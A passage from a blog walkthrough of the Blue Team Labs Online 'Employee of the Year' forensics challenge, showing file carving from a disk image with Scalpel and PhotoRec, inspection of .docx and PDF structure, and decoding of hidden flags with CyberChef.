src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/b22dda07f1a0a6f54f4a37e5f81e2b14_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have selected the GIF file types, we can run &lt;em&gt;Scalpel&lt;/em&gt; against the image file to extract any of the matching file types. I made a folder called &lt;em&gt;Recovered&lt;/em&gt; that we will use as an output directory.&lt;/p&gt;&#xA;&lt;p&gt;Let’s try it out!&lt;/p&gt;&#xA;&lt;p&gt;scalpel -o Recovered/ recoverfiles.dd&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;49a041ef256c1c2479a8e5794047d205_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;969px&#34; data-flex-grow=&#34;404&#34; height=&#34;198&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/49a041ef256c1c2479a8e5794047d205_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like &lt;em&gt;Scalpel&lt;/em&gt; was able to carve out one GIF file, let’s check out &lt;em&gt;Recovered&lt;/em&gt; folder and see what it found.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1a5f9362d5521e73700bd2b6d75faa89_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/1a5f9362d5521e73700bd2b6d75faa89_MD5.png&#34; width=&#34;206&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;GIF file extracted by Scalpel.&lt;/p&gt;&#xA;&lt;p&gt;Good job, indeed! Let’s submit the answer and move on to &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2b402670a5e3bf1b99d08a579639c6a3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1206px&#34; data-flex-grow=&#34;502&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/2b402670a5e3bf1b99d08a579639c6a3_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-submitflag1&#34;&gt;Question 2: Submit Flag1&#xA;&lt;/h3&gt;&lt;p&gt;Since we tested &lt;em&gt;Scalpel&lt;/em&gt; for &lt;strong&gt;Question 1&lt;/strong&gt;, why don’t we try a different tool for &lt;strong&gt;Question 2&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;There is another suggested tool for this challenge, &lt;a class=&#34;link&#34; href=&#34;https://www.cgsecurity.org/wiki/PhotoRec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;PhotoRec&lt;/em&gt;&lt;/a&gt;. This is another data recovery tool that we are going to leverage to retrieve files from the disk image. One of the benefits of &lt;em&gt;PhotoRec&lt;/em&gt; is that it has many more file types selected by default, so we don’t necessarily need to know what exactly we are looking for. This is going to be critical since the only clue we know to look for is &lt;em&gt;Flag1.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s try &lt;em&gt;PhotoRec&lt;/em&gt; out:&lt;/p&gt;&#xA;&lt;p&gt;sudo photorec recoverfiles.dd&lt;/p&gt;&#xA;&lt;p&gt;There will be a few screens that will require some input from us, but I just left the default settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fd90074b7a09f38198e51bf3006199eb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;960px&#34; data-flex-grow=&#34;400&#34; height=&#34;200&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/fd90074b7a09f38198e51bf3006199eb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the last menu screen, you will need to select an output destination and press &lt;strong&gt;C&lt;/strong&gt; to confirm your choice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6a6ea229862acb7d0e2007730621bcb2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;646px&#34; data-flex-grow=&#34;269&#34; height=&#34;297&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/6a6ea229862acb7d0e2007730621bcb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, &lt;em&gt;PhotoRec&lt;/em&gt; carved 5 files out of the image. Let’s review them and see what we found:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;85f407f5553f4fcd62eeb81fe3cda938_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/85f407f5553f4fcd62eeb81fe3cda938_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the PhotoRec recovery.&lt;/p&gt;&#xA;&lt;p&gt;Very interesting! The first file we see is the GIF file from &lt;strong&gt;Question 1&lt;/strong&gt;, that would have saved us some time to start with &lt;em&gt;PhotoRec.&lt;/em&gt; But more importantly is the &lt;em&gt;.png&lt;/em&gt; file — let’s open it up to find &lt;strong&gt;Flag1!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0ea5fba18f7ba646da4b472304e9276b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1107px&#34; data-flex-grow=&#34;461&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/0ea5fba18f7ba646da4b472304e9276b_MD5.png&#34; width=&#34;512&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-submitflag2&#34;&gt;Question 3: Submit Flag2&#xA;&lt;/h3&gt;&lt;p&gt;Now that we found the first flag, let’s keep looking at the files that &lt;em&gt;PhotoRec&lt;/em&gt; recovered for us.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;85f407f5553f4fcd62eeb81fe3cda938_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/85f407f5553f4fcd62eeb81fe3cda938_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the PhotoRec recovery.&lt;/p&gt;&#xA;&lt;p&gt;We’re going to focus on the &lt;em&gt;.PDF&lt;/em&gt; and &lt;em&gt;.MP4&lt;/em&gt; later in the challenge so let’s just focus on the file &lt;strong&gt;&lt;em&gt;f0009072.docx&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We don’t have a way of opening the file to view the contents, so we are going to do a little static analysis on the structures of the file itself.&lt;/p&gt;&#xA;&lt;p&gt;Let’s establish some background theory about the &lt;em&gt;.docx&lt;/em&gt; file format first.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The &lt;strong&gt;Open XML&lt;/strong&gt; format (.docx/.xlsx/.pptx) is the default format in all supported versions of Microsoft Office and, unless you have a specific reason to use a different format, it’s the format we recommend using for your Office file&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now the &lt;em&gt;Office Open XML (OOXML)&lt;/em&gt; format is essentially structured as a &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Office_Open_XML&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;ZIP archive&lt;/em&gt;&lt;/a&gt; and made up of &lt;em&gt;XML&lt;/em&gt; files and other data (files, images, etc.). If we use a tool like &lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2/oletools/wiki/oleid&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;oleid&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; we can confirm the container format:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8d8ac2bf68f7b4cf8d53fd9b3aaa7b34_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;421px&#34; data-flex-grow=&#34;175&#34; height=&#34;455&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/8d8ac2bf68f7b4cf8d53fd9b3aaa7b34_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, all of this to say is that we need to view the content structure of this file to see what streams are available for us to analyze!&lt;/p&gt;&#xA;&lt;p&gt;If we do some research on this topic, we’ll stumble across a &lt;em&gt;SANS Internet Storm Center&lt;/em&gt; diary entry from &lt;em&gt;Didier Stevens&lt;/em&gt; whose tool, &lt;em&gt;zipdump.py,&lt;/em&gt; we’ll leverage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/diary/An&amp;#43;XMLObfuscated&amp;#43;Office&amp;#43;Document&amp;#43;CVE202140444/27860&#34;  title=&#34;https://isc.sans.edu/diary/An&amp;#43;XMLObfuscated&amp;#43;Office&amp;#43;Document&amp;#43;CVE202140444/27860&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Internet Storm Center&lt;/strong&gt;&#xA;_Internet Storm Center Diary 2024–06–09, Author: Johannes Ullrich_isc.sans.edu&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/diary/An&amp;#43;XMLObfuscated&amp;#43;Office&amp;#43;Document&amp;#43;CVE202140444/27860&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s follow the concepts of this research and try running &lt;em&gt;zipdump.py&lt;/em&gt; on the &lt;em&gt;.docx&lt;/em&gt; file we retrieved:&lt;/p&gt;&#xA;&lt;p&gt;sudo zipdump.py f0009072.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ea694123592648a4c56968dee6586af2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;816px&#34; data-flex-grow=&#34;340&#34; height=&#34;201&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/ea694123592648a4c56968dee6586af2_MD5.png&#34; width=&#34;684&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running &lt;em&gt;zipdump.py,&lt;/em&gt; we can view the streams within the &lt;em&gt;.docx&lt;/em&gt; file, let’s focus on index number 5, &lt;em&gt;word/document.xml,&lt;/em&gt; that contains the content of the document itself.&lt;/p&gt;&#xA;&lt;p&gt;Putting all of this together, we’re going to use &lt;em&gt;zipdump.py&lt;/em&gt; to dump the stream of word/document.xml for us to examine using the below syntax to select Index 5.&lt;/p&gt;&#xA;&lt;p&gt;sudo zipdump.py -s 5 -d f0009072.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f40ee58be6eae580c50d27a13ec8152_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1391px&#34; data-flex-grow=&#34;579&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/8f40ee58be6eae580c50d27a13ec8152_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/8f40ee58be6eae580c50d27a13ec8152_MD5_hu_e262aab5ebdc1521.png 800w, https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/8f40ee58be6eae580c50d27a13ec8152_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, it’s not pretty when displayed in the console but we are seeing the structure of the document content! Outside of all the formatting, notice the string highlighted in the image above? This looks like a &lt;em&gt;Base64-encoded&lt;/em&gt; string, doesn’t it?&lt;/p&gt;&#xA;&lt;p&gt;We’re almost there! Let’s test out the theory and try to decode this string in &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; For this challenge, I will use the version built-in to &lt;em&gt;REMnux,&lt;/em&gt; but you can use the online version, too.&lt;/p&gt;&#xA;&lt;p&gt;We can apply the &lt;em&gt;From Base64&lt;/em&gt; operation to the recipe and input the string we found in the .&lt;em&gt;docx&lt;/em&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5044e3430d5271dc612767afb9bcf362_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;510&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/5044e3430d5271dc612767afb9bcf362_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;And there we go — we found the 2nd flag!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c88e692ed3783bac79ad1ff78cca6a8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1244px&#34; data-flex-grow=&#34;518&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/7c88e692ed3783bac79ad1ff78cca6a8_MD5.png&#34; width=&#34;529&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-submitflag3&#34;&gt;Question 4: Submit Flag3&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4_,_&lt;/strong&gt; let’s turn our attention to the &lt;em&gt;PDF&lt;/em&gt; file since we saw it had some text in the preview icon that might give us a clue.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;85bbdfbe54effabd680bb2ac9f6824e3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;259px&#34; data-flex-grow=&#34;108&#34; height=&#34;740&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/85bbdfbe54effabd680bb2ac9f6824e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, not much to go on here, so let’s see if there is anything to discover in the structure of the &lt;em&gt;PDF&lt;/em&gt;. We will use another tool by &lt;em&gt;Didier Stevens&lt;/em&gt;, &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;pdf-parser.py&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; to parse the PDF file for the data objects that make up the document rather than what we saw rendered.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  title=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PDF Tools&lt;/strong&gt;&#xA;_Here is a set of free YouTube videos showing how to use my tools: Malicious PDF Analysis Workshop. pdf-parser.py This…_blog.didierstevens.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let’s say we wanted to search for a flag, we can (and will) parse the document and search for a string within the objects. For this challenge, let’s just use &lt;em&gt;grep&lt;/em&gt; to clean-up the output and simply look for “flag.”&lt;/p&gt;&#xA;&lt;p&gt;pdf-parser.py f0009040.pdf | grep -i &amp;ldquo;flag&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;19221ef237bab05c04837602a928f7c2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/19221ef237bab05c04837602a928f7c2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome, we got it! But something looks a little off, doesn’t it? We need to decode this to get a fully readable flag, so let’s jump back into &lt;em&gt;CyberChef&lt;/em&gt; again.&lt;/p&gt;&#xA;&lt;p&gt;It looks like the flag has some &lt;em&gt;URL/Percent&lt;/em&gt; encoding which is used to ensure valid characters for transmission over the internet. In &lt;em&gt;CyberChef&lt;/em&gt; let’s add the &lt;em&gt;URL Decode&lt;/em&gt; operation to the recipe and see if we can grab the flag…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c93631cc7ec4de1d43aab2aea272323_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;573px&#34; data-flex-grow=&#34;238&#34; height=&#34;335&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/7c93631cc7ec4de1d43aab2aea272323_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;72acf4aaab582d938e88cf93610e3bf2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1694px&#34; data-flex-grow=&#34;705&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/72acf4aaab582d938e88cf93610e3bf2_MD5.png&#34; width=&#34;713&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-filesystem-of-the-provided-diskimage&#34;&gt;Question 5: What is the filesystem of the provided disk image?&#xA;&lt;/h3&gt;&lt;p&gt;This is a tricky question to tackle. If we do some research on &lt;em&gt;Google&lt;/em&gt;, we’ll find that there is no shortage of suggested methods to locate this information including: &lt;em&gt;blkid, fsck, df, etc&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, none of these commands can help determine the answer to &lt;strong&gt;Question 5.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We could continue doing some further &lt;em&gt;Google searching,&lt;/em&gt; but let’s try to leverage &lt;em&gt;generative AI.&lt;/em&gt; I’m going to check with &lt;a class=&#34;link&#34; href=&#34;https://copilot.microsoft.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Copilot&lt;/em&gt;&lt;/a&gt; for any methods I might have missed.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;em&gt;Copilot&lt;/em&gt;, there is a method I hadn’t found yet in my earlier research:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To identify the file system type, use &lt;code&gt;cfdisk&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;code&gt;sudo cfdisk your_file.dd&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let’s be diligent and validate that the information is correct by verifying the provided source link. &lt;a class=&#34;link&#34; href=&#34;https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;How to open .DD file to analyze it? — Ask Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After a quick overview from the forum link, the information looks accurate! Let’s try it…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ab8e7b2cb944c733e3e3560525c526dc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;534px&#34; data-flex-grow=&#34;222&#34; height=&#34;539&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/ab8e7b2cb944c733e3e3560525c526dc_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/ab8e7b2cb944c733e3e3560525c526dc_MD5_hu_d6dc0a1d9452c1eb.png 800w, https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/ab8e7b2cb944c733e3e3560525c526dc_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! By following this method, we were able to find an additional method that helped us locate the answer to &lt;strong&gt;Question 5!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;70cab5fac1d4bc477c70db106b33cb06_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1247px&#34; data-flex-grow=&#34;519&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/70cab5fac1d4bc477c70db106b33cb06_MD5.png&#34; width=&#34;582&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-original-filename-of-the-recovered-mp4file&#34;&gt;Question 6: What is the original filename of the recovered mp4 file?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! Let’s focus on the final file that &lt;em&gt;PhotoRec&lt;/em&gt; recovered back in &lt;strong&gt;Question 2,&lt;/strong&gt; the MP4 file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6e181ea74a84ffae5493332bc2a53534_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;308px&#34; data-flex-grow=&#34;128&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/6e181ea74a84ffae5493332bc2a53534_MD5.png&#34; width=&#34;175&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember, that this isn’t the original name but the recovered name after the data carving. We can actually watch the video to find that the content is referencing &lt;em&gt;SBTCertifications&lt;/em&gt; — this name rings a bell…&lt;/p&gt;&#xA;&lt;p&gt;Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we ran the &lt;em&gt;strings&lt;/em&gt; command on the &lt;em&gt;.dd&lt;/em&gt; file and we saw some interesting file names?&lt;/p&gt;&#xA;&lt;p&gt;Let’s try looking at the entire recovery image with &lt;em&gt;strings&lt;/em&gt; again. We already know there is a ton of output, so let’s just &lt;em&gt;grep&lt;/em&gt; for &lt;em&gt;mp4&lt;/em&gt; this time.&lt;/p&gt;&#xA;&lt;p&gt;strings recoverfiles.dd | grep -i &amp;ldquo;mp4&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b1e9cfbeeba8949d3a0d28c94edc6a34_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3978px&#34; data-flex-grow=&#34;1657&#34; height=&#34;40&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/b1e9cfbeeba8949d3a0d28c94edc6a34_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;And there we go! We found the final flag! Let’s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e321f05086670402fdf8c8a619d72e46_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1291px&#34; data-flex-grow=&#34;537&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/e321f05086670402fdf8c8a619d72e46_MD5.png&#34; width=&#34;624&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Hey, nice job with the investigation! We successfully analyzed the &lt;em&gt;DD&lt;/em&gt; file, located the flags, and recovered John’s files to complete the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Employee of the Year&lt;/strong&gt;&lt;/a&gt; challenge! Now that we successfully helped John to recover his data and retain his “Employee of the Year” status, let’s close this case.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Teams Labs Online&lt;/strong&gt;&lt;/a&gt; for hosting this awesome challenge! This was a fantastic opportunity to learn about file carving and add some new tools to my tool kit. I also appreciated the depth of this challenge. We not only had to learn how to find and recover the files, but we also had to deep-dive into &lt;em&gt;OOXML&lt;/em&gt; and &lt;em&gt;PDF&lt;/em&gt; files to locate the flags. Overall, I gained some valuable experience about analyzing DD disk images and data recovery. I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; 